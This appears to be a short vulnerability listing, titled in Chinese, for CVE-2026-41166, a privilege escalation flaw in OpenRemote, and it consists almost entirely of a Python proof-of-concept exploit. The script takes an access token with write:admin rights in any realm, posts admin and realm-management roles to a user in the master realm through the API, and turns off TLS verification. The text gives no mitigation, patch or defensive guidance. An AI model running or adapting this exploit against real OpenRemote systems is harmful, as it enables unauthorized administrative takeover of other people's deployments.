CVE-2026-41166 OpenRemote权限提升漏洞

import requests # Target configuration target_host = "https://<target-openremote-host>" attacker_token = "<attacker_access_token>" # Token with write:admin in ANY realm # The ID of the user in the 'master' realm to escalate (e.g., attacker's user ID) master_user_id = "<target_user_id_in_master_realm>" # Vulnerable Endpoint: Updating roles in the 'master' realm # The vulnerability allows specifying 'master' in the path even if the token is for another realm url = f"{target_host}/api/master/users/{master_user_id}/roles/clients/<client_id>" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Payload to assign administrative role payload = { "roles": ["admin", "realm-management"] } try: response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 204: print("[+] Exploit successful! Privileges escalated in master realm.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")